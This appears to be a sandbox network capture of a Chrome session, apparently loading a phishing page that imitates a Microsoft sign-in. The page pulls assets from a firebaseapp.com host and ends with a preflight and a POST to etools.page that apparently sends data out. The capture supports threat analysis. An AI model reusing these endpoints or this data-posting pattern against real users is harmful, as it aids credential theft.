Process

57 192.168.2.3 49800 13.107.219.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:29 UTC 1367 OUT GET /ests/2.1/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: aadcdn.msauth.net
If-Modified-Since: Thu, 13 Feb 2020 02:05:12 GMT
If-None-Match: 0x8D7B0292911C366

2022-05-13 14:40:29 UTC 1367 IN HTTP/1.1 304 Not Modified
Cache-Control: public, max-age=31536000
Content-Type: image/svg+xml
Content-Encoding: gzip
Content-MD5: DhdidjYrlCeaRJJRG/y9mA==
Last-Modified: Thu, 13 Feb 2020 02:05:12 GMT
ETag: 0x8D7B0292911C366
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
X-Cache: TCP_HIT
x-ms-request-id: 6bc22da5-001e-0003-4709-664a75000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Access-Control-Allow-Origin: *
X-Azure-Ref-OriginShield: 0/BN9YgAAAACS6YG5xCbtSKCCoF2wz4PBQU1TMDRFREdFMTgxMAAzOWExMmY3ZS0
4OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
X-Azure-Ref: 03W1+YgAAAACEUIceTfmnR6WteeqvisYrRlJBMjMxMDUwNDE3MDMxADM5YTEyZjdlLTg5OWYtNDZj
Zi1hNmQwLTI0YmJiYTI3ZDk1Ng==
Date: Fri, 13 May 2022 14:40:28 GMT
Connection: close
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

58 192.168.2.3 49801 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:29 UTC 1368 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/ellipsis_grey.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: rimorecndappz.firebaseapp.com
If-Modified-Since: Thu, 14 Apr 2022 17:10:06 GMT
If-None-Match: "8bd35fb6e43a52fbd3fac4f46b28b8cc71b6f00e2b06636395e54a9c210d997e"

2022-05-13 14:40:29 UTC 1369 IN HTTP/1.1 304 Not Modified
Connection: close
Date: Fri, 13 May 2022 14:40:29 GMT
Cache-Control: max-age=3600
ETag: "8bd35fb6e43a52fbd3fac4f46b28b8cc71b6f00e2b06636395e54a9c210d997e"
X-Served-By: cache-fra19171-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452829.090524,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

Session ID Source IP Source Port Destination IP
Destination
Port

Process

59 192.168.2.3 49803 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:29 UTC 1369 OUT GET /image/apps.52481.9007199266243744.36dde9d0-f21a-47d2-976e-f1ea3f5b031f.16c0a704-aef8-4bc4-af36-
0c3b3ee0f6e2?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:29 UTC 1369 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 38027
Content-Type: image/png
Last-Modified: Thu, 08 Jul 2021 05:18:54 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk0MUNGRTE3OTNFRUQ"
MS-CV: LZT1tEq8wkm01jel.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:29 UTC 1370 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 17 49 49 44 41 54 78 9c ed dd 09 90 65 55 79 c0 f1 ef 9c 
7b df d2 af a7 67 7a 16 06 06 90 19 24 01 34 11 a3 30 18 28 94 92 2a f7 24 24 3a 71 05 c4 8d 98 44 4b 2b 31 12 2a 05 a6 
90 8a 89 54 29 96 4b 4a 2d 13 45 2b 28 8e c6 12 a3 92 52 4c 0c a2 61 00 09 22 ae 40 d8 66 70 9c e9 e9 ed ed 77 c9 39 
e7 de f7 7a d0 40 81 4c 77 bf cf f7 ff 4d 3d 5f f7 eb ed 76 17 fe eb 9c fb ce 3b 37 16 00 50 22 5e ed 03 00 80 47 8b 60 01 
50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 
01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 50 83 60 01 
Data Ascii: PNGIHDR,,y}upHYseIIDATxeUy{gz$40(*$$:qDK+1*T)KJ-E+(RLa"@fpw9z@LwM=_v;7P"^G`P`P`P`P`P`P`P
`P`P`P`P`P`P`P`P`

2022-05-13 14:40:29 UTC 1385 IN Data Raw: 84 9b e7 94 12 5a e5 d8 a0 f4 30 86 2e 6b 7e 36 96 cd 78 8d ac 77 e6 b4 9d 49 d1 4c 6a 65 f6 4d 69 20 1a ae 
e8 31 c1 06 48 7b 4f 18 c5 32 25 5c 5c 86 a5 04 56 dc b2 4a 3a 2c c2 6b 69 a5 01 56 ec 72 97 e9 5c ba 78 05 41 b6 82 
20 5b 59 81 b9 4b f3 b0 78 75 0a aa ea 79 bc ba 68 58 b3 e7 3f 91 04 29 e7 22 70 d5 f4 54 f5 a1 f3 0c 13 bc 91 09 a6 3a 
83 a7 19 5c aa 2f 6d 3e 57 86 09 3b 5b 09 27 02 eb 00 a1 74 a0 ca 00 6b d8 1e 1f 86 ee f1 a2 ef 41 1f 86 ed 6b c2 d8 3d 
35 4c 17 db d0 f3 70 10 3f 1d a8 c0 fa 9b d9 a6 f0 1e f6 09 7d 4a d7 da 81 e5 e2 e3 de c8 84 4f cd 17 73 21 9b c6 6e e2 
e9 4a d3 8a b9 fb 49 07 58 8a 2e 74 59 a6 9e 15 81 96 52 c4 2e e7 da f0 ed 45 5d b2 e3 41 df d3 b9 b8 57 a3 22 3e 11 c5 
8f df 01 96 f3 7f 6c f5 69 65 81 d5 21 d2 28 d1 12 54 dc 90 
Data Ascii: Z0.k~6xwILjeMi 1H{O2%\\VJ:,kiVr\xA [YKxuyhX?)"pT:\/m>W;['tkAk=5Lp?}JOs!nJIX.tYR.E]AW">lie!(T

2022-05-13 14:40:29 UTC 1394 IN Data Raw: a8 47 dc aa 1a 2c 5b 5b 4e a7 95 4d c7 f5 16 cb d7 a6 e0 e9 3b c7 55 f9 98 d6 f9 54 33 12 b7 78 e8 3e 4f 80 
c7 ac 8b 9b e9 6d 48 08 a7 c0 ee 61 66 e8 81 d7 e3 35 97 ff c8 4b 96 34 87 11 bb fd 25 26 6f 2e c0 e4 2d 25 98 b9 87 40 
da 54 8b 71 84 d2 98 1d ad 18 b5 93 f7 77 d5 9b 18 ba b7 91 f0 6a 24 c8 5a 30 82 31 6a 77 03 bf a6 00 d3 b7 3d 36 97 f2 
38 60 54 f0 33 8b 84 3a 64 f0 85 19 da ea 73 73 e0 65 f5 69 65 81 d5 51 12 27 fe 02 58 c9 11 60 1d 1b 5e 80 23 23 b3 70 
bc 1d 58 84 d5 51 41 4b 35 2d 15 e0 09 2a 41 4b 4e eb 00 81 95 34 31 17 fb 27 67 60 ff a4 0c 1c a2 d3 4a 1a 55 82 3d 
a3 cb b1 6f 4a 11 76 4e 7e 85 1d f3 6e 20 37 db b9 3a 39 40 a7 a5 96 2b ce 01 b4 6f 9d c1 e6 d5 3c 25 8e 39 b5 61 71 bb 
75 16 d1 c5 14 b1 81 41 20 70 e4 e7 a7 b7 60 db aa 14 ac a6 
Data Ascii: G,[[NM;UT3x>OmHaf5K4%&o.-%@Tqwj$Z01jw=68`T3:dsseieQ'X`^##pXQAK5-*AKN41'g`JU=oJvN~n 7:9@+
o<%9aquA p`
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.2.3 49708 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:57 UTC 73 OUT GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-
4581f098723d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:57 UTC 74 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6463
Content-Type: image/png
Last-Modified: Fri, 19 Jun 2020 10:04:23 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDgxNDM4MjQzOTA3MEE"
MS-CV: fY4WMkPOy0W6s1dW.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:57 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:57 UTC 74 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
19 06 49 44 41 54 78 da ed 9d 6b 8c 64 47 75 c7 ff a7 ee bd fd 9e 61 66 1f b3 f6 da 59 af 6d cc 1a 90 83 88 4d 62 05 12 
05 10 21 22 89 14 41 a2 10 f1 c5 12 22 41 0a 10 e1 48 b1 12 16 29 21 ca 07 92 0f 09 10 41 a4 90 10 02 e4 01 76 14 39 
4e 82 20 36 2b 21 25 32 36 0f 3f c0 ac 6d 58 1b 3f d6 fb 66 66 76 77 66 7a fa d6 c9 87 aa 7b 6f dd ea ba b7 6f f7 f4 4c 77 
cf d6 91 7a fb 76 df 7e ec dc fa f5 ff 9c 3a 75 aa 0a f0 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f 
de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd 9b 37 6f de bc 79 f3 e6 cd db 84 8c 8c db 54 ff 27 bd cd ee 35 66 0f 8e 87 62 
a6 20 f2 e0 4c d7 f5 a1 31 80 c0 1e 9c d9 ff 9b 27 
Data Ascii: PNGIHDR0IDATxkdGuafYmMb!"A"AH)!Av9N 6+!%26?mX?ffvwfz{ooLwzv~:u7oy7oy7oy7oy7oyT'5fb L1'

Session ID Source IP Source Port Destination IP
Destination
Port

Process

60 192.168.2.3 49804 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:30 UTC 1407 OUT GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-
95ba7990754d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:30 UTC 1407 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64662
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:44 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODBBM0YxNTA"
MS-CV: ++gJr3axoUmfcmGL.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:30 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:30 UTC 1408 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 80 00 49 44 41 54 78 9c bc bd 09 b8 6f 59 55 1f f8 3b f7 
fe ef 7d f7 0d f5 6a 1e a1 0a aa 8a c2 82 02 0b d0 56 51 89 46 0d 11 e4 d3 0e 26 86 88 51 8c f9 3a e9 f8 35 26 e9 b6 cd 
64 ba e3 67 d2 6d d2 d1 b4 b6 6d 12 35 6a 6c 8d 60 68 47 44 01 03 11 30 32 c8 20 83 54 51 14 54 51 f3 5c 6f 7e 77 3a 
7d 86 bd f6 fe ad 61 9f 73 ee 83 f4 f9 ea d5 b9 ff 73 f6 59 7b ad b5 d7 fa ed b5 f6 de 67 9f 15 5e ff 86 4f 63 7d e3 12 ec ed 
02 0d 30 fc 4f 9d a3 6b 4d be ec ee 0f 27 be df fd 6f ad 3f af 99 7b a6 cc d4 3d 2e 33 c9 9f f9 bb b1 cf f4 6c 54 f8 58 2a 77 
ed 5e db d3 6e c6 f3 14 ff 4d d2 c5 5a ed 5e 4d d7 
Data Ascii: PNGIHDR,,y}upHYsodIDATxoYU;}jVQF&Q:5&dgmm5jl`hGD02 TQTQ\o~w:}assY{g^Oc}0OkM'o?{=.3lTX*w^
nMZ^M

2022-05-13 14:40:30 UTC 1423 IN Data Raw: 69 75 e5 8e 75 32 fc 95 db af c4 15 87 57 59 47 c3 73 9d d3 fe f2 1d 4f e2 74 bf 0b 44 a7 87 b6 07 f3 ae c0 b5 
97 6e e1 d5 cf b9 18 af 7a f6 71 bc e0 f2 2d 5c dd 81 cc c6 7a f1 b4 5e de 87 ce ec e1 5d 0f 9e c1 4f 7e ec 49 fc c1 3d a7 
d0 6e ae 0d 75 0f 18 de d3 e9 44 bc ee d2 43 78 f5 8d c7 f0 ca eb 8f e2 b6 4b 37 71 75 07 20 87 56 6b ca ea 4f 74 40 fa 
81 c7 b7 f1 d3 77 9e c4 af dc 75 ba 8b b8 3a e9 d6 d7 8c 07 16 af 89 66 66 db 5e df 5d 95 37 5e ba 81 6f bd 61 0b 2f bf 66 
13 cf 3b be c2 95 1d 00 1e 5a d7 9d 5f 6f 0f 8f 77 a0 f5 89 13 7b f8 9d 87 b6 f1 cb 9f 3b 8f 07 4f ee 0e bb 60 94 6a 5b 0f 5a 
11 38 28 27 67 57 3a c0 98 56 00 26 39 92 37 65 60 68 28 be 84 60 be 36 bd e4 21 97 83 97 07 82 16 01 68 d9 f1 b8 fe 
7f e3 40 45 6b 6b 2a 67 b7 57 10 04 5c 6c 8f 
Data Ascii: iuu2WYGsOtDnzq-\z^]O~I=nuDCxK7qu VkOt@wu:ff^]7^oa/f;Z_ow{;O`j[Z8('gW:V&97e`h(`6!h@Ekk*gW\l
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2022-05-13 14:40:30 UTC 1439 IN Data Raw: 36 a5 ef 1b db b8 dc 83 a2 6c 43 8c 72 aa c4 8c 59 bd f8 5b e3 0a da cf 13 53 3a b3 b2 49 6d 70 bb ab a7 0b 
53 c6 2d 3b 5a c7 b5 ec a8 61 bf 01 14 37 62 6a dc d2 56 71 1d 7b 55 f9 7b b0 e5 d3 62 9c b1 19 76 33 68 d8 cf 27 df 7a 
be 63 56 12 ac 6c 59 ba 0d 50 f5 18 59 ec 3d 3a 82 27 f7 1c c6 01 e3 26 76 18 d0 3a 65 76 1f ce 5f 36 0b 7d a6 3c 43 e3 
53 ec 3e fb 76 d8 00 d1 9a 85 83 78 df 4b 96 e2 2f bf b3 b5 5e 5f 09 d2 59 9a 36 31 69 5e 76 da 5c c3 84 56 3b 66 d5 84 
df 03 d6 3d b7 41 7f 03 86 56 76 dd 7e 2a 83 a9 c3 f0 84 de 9e 36 54 38 61 9e f1 67 2f 5f 8a 3b 77 0d e1 c1 ed 27 4c a7 
56 b1 e6 34 1c 52 95 5c 5d e2 55 7b 24 72 52 32 5d 49 12 f6 e9 aa c5 9b f3 5a 42 bc b0 d6 2d 4f 1a 98 7d 7b 5b 06 c9 32 
98 4a 1a 03 0c 8f 8c 4d ab 80 16 81 09 90 8c 69 de 32 0d 
Data Ascii: 6lCrY[S:ImpS-;Za7bjVq{U{bv3h'zcVlYPY=:'&v:ev_6}<CS>vxK/^_Y61i^v\V;f=AVv~*6T8ag/_;w'LV4R\]U{$rR2]IZ
B-O}{[2JMi2

2022-05-13 14:40:30 UTC 1441 IN Data Raw: 38 77 d5 02 3c ba 61 97 d1 f6 1e de 43 8e 4d e0 e2 f3 56 61 cd e2 d9 18 1d 4f 01 ab d3 ba 9e 63 e3 f8 cc 3d 
9b ab 65 2f 04 ac 4b df d7 bc 58 86 65 f1 65 a0 1b 2f 3b 75 81 b1 24 dd 38 6d 51 a7 0c 6b fa f4 fd cf 57 a7 48 d3 fb 25 e8 
7b 4a d2 4e 79 7c ba 92 c8 d8 ca c3 3c 6b ed 8a 39 38 77 c9 4c 75 ba 88 0d f8 df f6 c4 1e 1c 38 30 54 b9 82 25 98 0b 53 
a9 85 7d 5f cd 7d 5b 69 5c be 52 61 79 f6 89 f6 eb 11 1a 14 b7 65 31 cf 7c e9 d2 19 58 38 b3 07 23 0a 23 b2 57 af 69 87 
fb 76 1c c7 dd 2f d4 2e 9c 74 8f e8 67 f3 fb 43 3b 8f e3 1e f3 f7 8a 55 b3 12 a6 67 2f 1b a8 5f 3c a3 1b 2f 5d dc 8f 9b 36 8e 
55 88 a8 b0 a8 40 c8 6b f9 87 43 56 34 a6 85 08 44 a9 eb 98 a6 c9 c6 b2 02 30 81 83 9d 60 61 09 8b 4a 30 01 f0 0c b1 
32 f9 22 88 3c 61 5a 40 78 7e 02 5a a4 29 43 0c 4b 
Data Ascii: 8w<aCMVaOc=e/KXee/;u$8mQkWH%{JNy|<k98wLu80T%S}_}[i\Raye1|X8##Wiv/.tgC;Ug/_</]6U@kCV4D0`a
J02"<aZ@x~Z)CK

2022-05-13 14:40:30 UTC 1457 IN Data Raw: f8 6d 5c b6 13 c3 63 f8 bb eb 6f c7 bf 7c f3 21 bc f9 ea f5 f8 c5 9f b8 0c 17 9d b5 d2 a5 1b 1b 1d 73 9b c4 fd 47 
5d 15 be 54 8a 33 25 d7 c5 fd 27 bb ac 94 fb ed a8 9f 61 7d fb 0e 0f e1 0b df dd 88 7f b8 63 13 9e 79 a1 de 1e c6 cd a9 
aa af 92 6b 9b 76 52 32 03 1b 03 52 af 3b 6b 11 16 cf b3 7b a3 8d 63 b0 bf 0b cf ec 3c 82 0f 7e fd 29 37 ef 8a 4d a4 f4 4f 
f1 e2 d4 58 38 09 30 84 48 8e a6 73 e0 fa 1b 80 8d fa 5a d2 85 a3 a0 c5 11 91 b8 79 c8 02 9a 1e 4a 51 48 40 28 27 52 5b 
03 95 25 20 01 2e ac 7b ad 93 b0 ed 65 7c 63 82 3c 4e 7e 47 3f cb 74 ed 30 31 ed 3e 9f 67 ee fe 76 d2 36 3d 57 cb b7 6a 
2b 3e 19 51 0b 32 c6 b4 10 0a a1 cd 5f 4a 99 96 8f 45 78 65 d0 a6 04 24 2c cd 4b da ce 9d aa 81 eb 5f be 70 17 ae bf e9 
21 bc e1 f2 75 78 df 1b 5e 8a 57 bf f4 74 0c 0c 
Data Ascii: m\co|!sG]T3%'a}cykvR2R;k{c<~)7MOX80HsZyJQH@('R[% .{e|c<N~G?t01>gv6=Wj+>Q2_JExe$,K_p!ux^Wt

2022-05-13 14:40:30 UTC 1469 IN Data Raw: 41 ef 74 65 d4 62 ea 31 7f 28 78 e5 ca 24 d0 d4 dc d6 7e 5b 97 4c c6 4e 5e 9c 06 87 bf 1d a1 3b 69 b5 eb 92 
98 9c 67 99 b1 5e 4e 13 78 47 3a b8 a0 61 f9 79 21 65 93 ba af a7 90 d3 1f 90 fc dc ee c9 16 85 8c 31 a9 5e a7 35 90 c4 
ef 98 30 ef 38 8a c0 70 a7 67 a7 56 69 f8 9e 02 4c 07 be 13 a8 4e 80 ef ca 52 32 3c 21 8f 93 de a3 b9 d7 d5 79 d2 fb 09 
d1 9d 3a 8f 53 67 f2 c4 e6 45 6f 1a 5a 21 21 39 f8 3c 32 08 22 11 69 9c 44 a4 b3 8e 2c 20 39 2d 4f c4 5f 94 76 ff 5a 07 af 
72 b7 44 00 18 49 b6 73 34 33 ca 60 a0 b3 4d 50 bf 6b 92 31 02 b8 6c 32 28 86 bf 69 bd 1b b6 8a d0 53 bf 9a a3 f5 5b ca 
73 f4 a4 f4 fe 2a a2 2e 8b b8 a6 0d ca e2 5b 28 9f 27 e0 a3 63 a1 9e 86 48 78 75 78 c5 47 d0 1e 63 c9 97 36 f0 db 81 c8 
af b1 e3 2b 00 f3 6f 2e 63 77 6d 07 d4 ee 50 84 7b 02 
Data Ascii: Ateb1(x$~[LN^;ig^NxG:ay!e1^508pgViLNR2<!y:SgEoZ!!9<2"iD, 9-O_vZrDIs43`MPk1l2(iS[s*.[('cHxuxGc6+o.c
wmP{

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

61 192.168.2.3 49816 23.211.4.86 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:39 UTC 1471 OUT HEAD /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com

2022-05-13 14:40:39 UTC 1471 IN HTTP/1.1 200 OK
Content-Length: 55
Content-Type: application/octet-stream
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
Accept-Ranges: bytes
ETag: "f9c874a7f0b9d21:0"
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Cache-Control: public, max-age=220938
Date: Fri, 13 May 2022 14:40:39 GMT
Connection: close
X-CID: 2

Session ID Source IP Source Port Destination IP
Destination
Port

Process

62 192.168.2.3 49817 23.211.4.86 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:39 UTC 1471 OUT GET /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Thu, 20 Apr 2017 16:10:39 GMT
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com
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2022-05-13 14:40:39 UTC 1471 IN HTTP/1.1 200 OK
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
ETag: "f9c874a7f0b9d21:0"
Content-Type: application/octet-stream
Accept-Ranges: bytes
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Content-Length: 55
Cache-Control: public, max-age=207005
Date: Fri, 13 May 2022 14:40:39 GMT
Connection: close
X-CID: 2

2022-05-13 14:40:39 UTC 1472 IN Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 
2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d 
Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

63 192.168.2.3 49818 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:39 UTC 1472 OUT GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-
ee8fe4d32d94?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:39 UTC 1472 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 12462
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTcwNDdCNjk"
MS-CV: YL1WyeTAvUC1HHWF.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:39 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:39 UTC 1473 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 30 43 49 44 41 54 78 5e ed 9d 09 78 55 c5 dd c6 cd 46 02 24 ec 5b 42 48 20 1b 4b 20 2
0 a0 28 6e 05 14 95 45 56 d9 51 b4 6e b5 e2 be a1 d6 b5 b6 2e b5 2a d5 16 97 af 9f 75 af da d6 cf 6a ab 6d ad 56 dc 70 
b7 22 22 a0 e0 86 2c 22 10 b2 2f e7 ff bd ff 73 73 31 09 93 e4 86 9c 7b ef 39 e7 be bf e7 f9 3d 48 80 e4 cc dc 33 af 33 73 
e6 cc 1c 40 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 
08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsod0CIDATx^xUF$[BH K  (nEVQn.*ujmVp"","/ss1{9=H33s@!B!B!B!B!B!B!
B!B!B!B!B!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

64 192.168.2.3 49820 188.114.96.10 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:39 UTC 1485 OUT OPTIONS /re/Zk5RTCthaVRLSXFCbGMxbGZoc0paWi9GZTNoUUVzekJWUmtmOHVhdmZvQTBoclU1Z0s0OG44SlQ0b3
BxckdWRDNXNzh1V0pIelhnZUtpTVRqdEFNTGc9PQ HTTP/1.1
Host: etools.page
Connection: keep-alive
Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authkey,authvalue
Origin: null
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:40:40 UTC 1485 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:40 GMT
Content-Type: application/octet-stream
Content-Length: 0
Connection: close
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 2592000
Access-Control-Allow-Methods: GET,PUT,POST, OPTIONS, DELETE,PATCH
Access-Control-Allow-Headers: authkey , authvalue, Authorization, User-Agent, Keep-Alive, Content-Type, X-Requested-
With
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kHGZupuur7eEUUUYyQfdfwqkjiO2jLkk
JBIP%2B%2B0fImm9vvIZhu%2FWYXQM8cI2f%2FUqBUugLMpjOSGp1xt6rYNH10gPvg6jNf7Zm3oJU3LugQE9mcUTAf
FHalcWRESMQg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 70ac2689882a9bca-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

65 192.168.2.3 49821 188.114.96.10 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:40 UTC 1486 OUT POST /re/Zk5RTCthaVRLSXFCbGMxbGZoc0paWi9GZTNoUUVzekJWUmtmOHVhdmZvQTBoclU1Z0s0OG44SlQ0b3Bxc
kdWRDNXNzh1V0pIelhnZUtpTVRqdEFNTGc9PQ HTTP/1.1
Host: etools.page
Connection: keep-alive
Content-Length: 316
authkey: false
Accept: application/json, text/plain, */*
authvalue: false
